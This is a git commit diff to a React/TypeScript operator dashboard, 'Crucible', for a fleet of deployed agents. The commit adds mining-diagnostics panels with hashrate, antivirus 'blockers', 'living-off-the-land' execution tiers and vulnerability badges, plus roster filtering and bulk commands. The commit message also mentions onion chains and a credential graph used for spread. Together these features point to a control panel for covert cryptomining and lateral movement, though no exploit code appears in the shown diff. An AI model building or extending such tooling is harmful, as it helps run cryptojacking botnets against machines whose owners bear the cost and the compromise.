Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
@@ -6,7 +6,15 @@ import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import LatencyBadge from '../components/Fleet/LatencyBadge';
|
||||
import CreateGroupModal from '../components/Fleet/CreateGroupModal';
|
||||
import FleetGroupsStrip from '../components/Fleet/FleetGroupsStrip';
|
||||
import { formatHashrate } from '../help/fleetFilters';
|
||||
import FleetToolbar from '../components/Fleet/FleetToolbar';
|
||||
import CrucibleAgentMeta from '../components/Fleet/CrucibleAgentMeta';
|
||||
import {
|
||||
DEFAULT_FLEET_FILTERS,
|
||||
filterFleetAgents,
|
||||
formatHashrate,
|
||||
type FleetFilterState,
|
||||
} from '../help/fleetFilters';
|
||||
import { useFleetBulkActions } from '../hooks/useFleetBulkActions';
|
||||
import { primaryGroupForAgent } from '../help/fleetGroups';
|
||||
import { useFleetGroups } from '../hooks/useFleetGroups';
|
||||
import { useMatrixRain } from '../context/MatrixRainContext';
|
||||
@@ -15,10 +23,15 @@ import type { WSCommandResult } from '../types/ws';
|
||||
import { sanitizeScreenshotBase64 } from '../help/screenshotDownload';
|
||||
import FullSysCheckPanel from '../components/Fleet/FullSysCheckPanel';
|
||||
import CrucibleExpandedOps from '../components/Fleet/CrucibleExpandedOps';
|
||||
import LotlAttemptsList from '../components/Fleet/LotlAttemptsList';
|
||||
import LotlTierBadge from '../components/Fleet/LotlTierBadge';
|
||||
import RiskBadge from '../components/Fleet/RiskBadge';
|
||||
import FleetHeatMiniMap from '../components/Fleet/FleetHeatMiniMap';
|
||||
import { parseTierReport } from '../types/lotl';
|
||||
import AlsoHere from '../components/Presence/AlsoHere';
|
||||
import { HelpTip } from '../components/HelpTip';
|
||||
import '../components/Fleet/FullSysCheckPanel.css';
|
||||
import '../components/Fleet/FleetToolbar.css';
|
||||
import './CruciblePage.css';
|
||||
|
||||
// ── Types ──────────────────────────────────────────────────────────────────
|
||||
@@ -90,7 +103,25 @@ interface RichFullSysCheck {
|
||||
report: FullSysCheckReport;
|
||||
}
|
||||
|
||||
type RichTermData = RichListenPorts | RichPatchStatus | RichPostureSummary | RichScreenshot | RichFullSysCheck;
|
||||
interface RichMiningDiagnostics {
|
||||
type: 'mining_diagnostics';
|
||||
generated_at?: string;
|
||||
active_method?: string;
|
||||
execution_mode?: string;
|
||||
likely_blockers: string[];
|
||||
av_recommendation?: string;
|
||||
lotl_tier?: string;
|
||||
lotl_attempts?: import('../types/lotl').TierAttempt[];
|
||||
mining_hashrate?: number;
|
||||
}
|
||||
|
||||
type RichTermData =
|
||||
| RichListenPorts
|
||||
| RichPatchStatus
|
||||
| RichPostureSummary
|
||||
| RichScreenshot
|
||||
| RichFullSysCheck
|
||||
| RichMiningDiagnostics;
|
||||
|
||||
// ── Helpers ────────────────────────────────────────────────────────────────
|
||||
|
||||
@@ -304,6 +335,9 @@ const PROBE_SSH_SH = `ss -tlnp 2>/dev/null | grep -q ':22' && echo SSH_PROBE:ONL
|
||||
/** Max terminal lines rendered in the DOM (full history kept in state for scrollback export). */
|
||||
const TERM_RENDER_CAP = 400;
|
||||
|
||||
/** Roster page size — avoids rendering 500+ node cards at once. */
|
||||
const ROSTER_PAGE_SIZE = 80;
|
||||
|
||||
// ── Component ──────────────────────────────────────────────────────────────
|
||||
|
||||
export default function CruciblePage() {
|
||||
@@ -312,8 +346,14 @@ export default function CruciblePage() {
|
||||
|
||||
// Selection
|
||||
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
|
||||
const [filters, setFilters] = useState<FleetFilterState>(DEFAULT_FLEET_FILTERS);
|
||||
const [showGroupModal, setShowGroupModal] = useState(false);
|
||||
const { groups, addGroup, removeGroup } = useFleetGroups();
|
||||
const { bulkBusy, handleBulkAction } = useFleetBulkActions({
|
||||
agents,
|
||||
selectedIds,
|
||||
commandResults,
|
||||
});
|
||||
|
||||
// Terminal
|
||||
const [termLines, setTermLines] = useState<TermLine[]>([]);
|
||||
@@ -331,12 +371,38 @@ export default function CruciblePage() {
|
||||
|
||||
const [tunnelStatusMsg, setTunnelStatusMsg] = useState('');
|
||||
const [activeTab, setActiveTab] = useState<'ops' | 'recon' | 'files' | 'spread' | 'tunnels'>('ops');
|
||||
const [rosterPage, setRosterPage] = useState(0);
|
||||
|
||||
// SSH / posture overrides (from on-demand probes)
|
||||
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
|
||||
const [postureOverride, setPostureOverride] = useState<Record<string, { score: number; patchDays?: number }>>({});
|
||||
|
||||
const allIds = useMemo(() => agents.map((a) => a.id), [agents]);
|
||||
|
||||
const sortedAgents = useMemo(() => [...agents].sort((a, b) => {
|
||||
if (a.status === 'online' && b.status !== 'online') return -1;
|
||||
if (a.status !== 'online' && b.status === 'online') return 1;
|
||||
const ta = a.last_seen ? new Date(a.last_seen).getTime() : 0;
|
||||
const tb = b.last_seen ? new Date(b.last_seen).getTime() : 0;
|
||||
if (tb !== ta) return tb - ta;
|
||||
return a.name.localeCompare(b.name);
|
||||
}), [agents]);
|
||||
|
||||
const filteredAgents = useMemo(
|
||||
() => filterFleetAgents(sortedAgents, filters),
|
||||
[sortedAgents, filters],
|
||||
);
|
||||
|
||||
const rosterPageCount = Math.max(1, Math.ceil(filteredAgents.length / ROSTER_PAGE_SIZE));
|
||||
const rosterPageSafe = Math.min(rosterPage, rosterPageCount - 1);
|
||||
const rosterSlice = useMemo(() => {
|
||||
const start = rosterPageSafe * ROSTER_PAGE_SIZE;
|
||||
return filteredAgents.slice(start, start + ROSTER_PAGE_SIZE);
|
||||
}, [filteredAgents, rosterPageSafe]);
|
||||
|
||||
useEffect(() => {
|
||||
setRosterPage(0);
|
||||
}, [filters]);
|
||||
const selectedAgents = useMemo(
|
||||
() => agents.filter((a) => selectedIds.has(a.id)),
|
||||
[agents, selectedIds]
|
||||
@@ -499,6 +565,24 @@ export default function CruciblePage() {
|
||||
}));
|
||||
if (parsed.ssh_listening === true) setSshOverride((prev) => ({ ...prev, [aid]: true }));
|
||||
if (parsed.ssh_listening === false) setSshOverride((prev) => ({ ...prev, [aid]: false }));
|
||||
} else if (r.action === 'mining_diagnostics') {
|
||||
const blockers = parsed.likely_blockers ?? parsed.blockers;
|
||||
const tierFields = parseTierReport(parsed as Record<string, unknown>);
|
||||
if (Array.isArray(blockers) || tierFields.lotl_attempts.length > 0) {
|
||||
richData = {
|
||||
type: 'mining_diagnostics',
|
||||
generated_at: parsed.generated_at,
|
||||
active_method: parsed.active_method,
|
||||
execution_mode: parsed.execution_mode,
|
||||
likely_blockers: Array.isArray(blockers)
|
||||
? blockers.filter((b: unknown) => typeof b === 'string')
|
||||
: [],
|
||||
av_recommendation: parsed.av_recommendation,
|
||||
lotl_tier: tierFields.lotl_tier,
|
||||
lotl_attempts: tierFields.lotl_attempts,
|
||||
mining_hashrate: tierFields.mining_hashrate,
|
||||
};
|
||||
}
|
||||
} else {
|
||||
// Generic JSON with posture fields (legacy path)
|
||||
if (typeof parsed.posture_score === 'number') {
|
||||
@@ -910,10 +994,44 @@ export default function CruciblePage() {
|
||||
</div>
|
||||
);
|
||||
|
||||
const RichMiningDiagnosticsBlock = ({ d }: { d: RichMiningDiagnostics }) => (
|
||||
<div className="rich-block rich-mining-diag">
|
||||
<div className="rich-header">
|
||||
<span className="rich-label">MINING DIAGNOSTICS</span>
|
||||
{d.lotl_tier && <LotlTierBadge tier={d.lotl_tier} attempts={d.lotl_attempts} variant="inline" />}
|
||||
{d.active_method && <span className="rich-tag">{d.active_method}</span>}
|
||||
</div>
|
||||
{d.execution_mode && (
|
||||
<div className="rich-kv-row">
|
||||
<span className="rich-key">Execution</span>
|
||||
<span className="rich-val">{d.execution_mode}</span>
|
||||
</div>
|
||||
)}
|
||||
{(d.lotl_attempts?.length ?? 0) > 0 && (
|
||||
<LotlAttemptsList
|
||||
attempts={d.lotl_attempts ?? []}
|
||||
activeTier={d.lotl_tier}
|
||||
miningHashrate={d.mining_hashrate}
|
||||
/>
|
||||
)}
|
||||
<div className="rich-sub-label">LIKELY BLOCKERS</div>
|
||||
{d.likely_blockers.length === 0 ? (
|
||||
<div className="rich-empty">No blockers detected</div>
|
||||
) : (
|
||||
<ul className="rich-blocker-list">
|
||||
{d.likely_blockers.map((b, i) => (
|
||||
<li key={i} className="rich-blocker-item">{b}</li>
|
||||
))}
|
||||
</ul>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
|
||||
const renderRichData = (d: RichTermData, lineAgentName?: string) => {
|
||||
if (d.type === 'listen_ports') return <RichListenPortsTable d={d} />;
|
||||
if (d.type === 'patch_status') return <RichPatchStatusBlock d={d} />;
|
||||
if (d.type === 'posture') return <RichPostureSummaryBlock d={d} />;
|
||||
if (d.type === 'mining_diagnostics') return <RichMiningDiagnosticsBlock d={d} />;
|
||||
if (d.type === 'full_sys_check') {
|
||||
return <FullSysCheckPanel report={d.report} agentName={lineAgentName ?? 'agent'} />;
|
||||
}
|
||||
@@ -962,6 +1080,20 @@ export default function CruciblePage() {
|
||||
|
||||
<AlsoHere page="/crucible" />
|
||||
|
||||
{agents.length > 0 && (
|
||||
<FleetToolbar
|
||||
agents={agents}
|
||||
filters={filters}
|
||||
onChange={setFilters}
|
||||
selectedCount={selectedIds.size}
|
||||
filteredCount={filteredAgents.length}
|
||||
onSelectAllFiltered={() => setSelectedIds(new Set(filteredAgents.map((a) => a.id)))}
|
||||
onBulkAction={handleBulkAction}
|
||||
onCreateGroup={() => setShowGroupModal(true)}
|
||||
bulkBusy={bulkBusy}
|
||||
/>
|
||||
)}
|
||||
|
||||
<FleetGroupsStrip
|
||||
groups={groups}
|
||||
liveAgentIds={onlineAgentIds}
|
||||
@@ -999,9 +1131,21 @@ export default function CruciblePage() {
|
||||
</div>
|
||||
{agents.length === 0 ? (
|
||||
<p className="form-hint" style={{ marginTop: '0.5rem' }}>No nodes registered. Forge a build and deploy it to your machines.</p>
|
||||
) : filteredAgents.length === 0 ? (
|
||||
<p className="form-hint" style={{ marginTop: '0.5rem' }}>No nodes match filters.</p>
|
||||
) : (
|
||||
<>
|
||||
{filteredAgents.length > ROSTER_PAGE_SIZE && (
|
||||
<div className="crucible-roster-pager" style={{ display: 'flex', alignItems: 'center', gap: '0.75rem', marginBottom: '0.5rem', fontSize: '0.8rem' }}>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={rosterPageSafe <= 0} onClick={() => setRosterPage((p) => Math.max(0, p - 1))}>← Prev</button>
|
||||
<span className="font-tech">
|
||||
{rosterPageSafe * ROSTER_PAGE_SIZE + 1}–{Math.min((rosterPageSafe + 1) * ROSTER_PAGE_SIZE, filteredAgents.length)} of {filteredAgents.length}
|
||||
</span>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={rosterPageSafe >= rosterPageCount - 1} onClick={() => setRosterPage((p) => Math.min(rosterPageCount - 1, p + 1))}>Next →</button>
|
||||
</div>
|
||||
)}
|
||||
<div className="crucible-roster">
|
||||
{agents.map((a) => {
|
||||
{rosterSlice.map((a) => {
|
||||
const sel = selectedIds.has(a.id);
|
||||
const isOn = online(a);
|
||||
const ssh = sshStatus(a);
|
||||
@@ -1036,6 +1180,18 @@ export default function CruciblePage() {
|
||||
<span className="cn-badge">{a.platform ?? 'unknown'}{a.arch ? `·${a.arch}` : ''}</span>
|
||||
<span className={`cn-status-dot ${isOn ? 'on' : 'off'}`} />
|
||||
</div>
|
||||
{(a.tags?.length ?? 0) > 0 && (
|
||||
<div className="cn-tags" style={{ display: 'flex', flexWrap: 'wrap', gap: '0.25rem', marginTop: '0.2rem' }}>
|
||||
{a.tags!.map((t) => (
|
||||
<span key={t} className="agent-tag-chip" style={{ fontSize: '0.65rem' }}>{t}</span>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
{a.notes?.trim() && (
|
||||
<div className="form-hint" style={{ fontSize: '0.68rem', marginTop: '0.15rem', opacity: 0.75 }}>
|
||||
{a.notes.trim().slice(0, 60)}{a.notes.length > 60 ? '…' : ''}
|
||||
</div>
|
||||
)}
|
||||
<div className="cn-ip font-tech">{a.ip || '—'}</div>
|
||||
<div className="cn-stats">
|
||||
<span>{a.cpu_cores}c</span>
|
||||
@@ -1043,6 +1199,8 @@ export default function CruciblePage() {
|
||||
<LatencyBadge ms={isOn ? a.latency_ms : undefined} compact />
|
||||
</div>
|
||||
<div className="cn-badges">
|
||||
<LotlTierBadge tier={a.lotl_tier} attempts={a.lotl_attempts} />
|
||||
<RiskBadge findings={a.vuln_findings} />
|
||||
<div className={`cn-ssh ${ssh.cls}`}>{ssh.label}</div>
|
||||
<div
|
||||
className={`cn-posture ${posture.cls}`}
|
||||
@@ -1131,9 +1289,14 @@ export default function CruciblePage() {
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
</NeonCard>
|
||||
|
||||
{focusedAgent && (
|
||||
<CrucibleAgentMeta agent={focusedAgent} />
|
||||
)}
|
||||
|
||||
{/* ── Focused machine banner ──────────────────────────────────────── */}
|
||||
{focusedAgent && (
|
||||
<div className="crucible-focus-bar" style={{
|
||||
@@ -1150,6 +1313,8 @@ export default function CruciblePage() {
|
||||
</span>
|
||||
<span style={{ color: 'var(--text-muted)' }}>{focusedAgent.ip || '—'}</span>
|
||||
<span className={`status-badge ${focusedAgent.status}`}>{focusedAgent.status}</span>
|
||||
<LotlTierBadge tier={focusedAgent.lotl_tier} attempts={focusedAgent.lotl_attempts} variant="inline" />
|
||||
<RiskBadge findings={focusedAgent.vuln_findings} variant="inline" />
|
||||
<LatencyBadge ms={focusedAgent.status === 'online' ? focusedAgent.latency_ms : undefined} />
|
||||
<span style={{ color: 'var(--text-muted)' }}>{focusedAgent.platform ?? ''} {focusedAgent.arch ?? ''}</span>
|
||||
<span style={{ color: 'var(--text-muted)' }}>{focusedAgent.cpu_cores}c · {focusedAgent.memory_gb}GB</span>
|
||||
@@ -1175,7 +1340,7 @@ export default function CruciblePage() {
|
||||
<span className="section-ornament">◆</span> GROUPS <HelpTip field="crucible_groups" />
|
||||
</div>
|
||||
<p className="form-hint" style={{ margin: '0 0 0.5rem' }}>
|
||||
Same groups as Fleet Roster — click a chip to select all members.
|
||||
Named color subsets — click a chip to select all members for bulk commands.
|
||||
</p>
|
||||
{groups.length === 0 ? (
|
||||
<p className="form-hint" style={{ margin: 0 }}>
|
||||
|
||||
Reference in New Issue
Block a user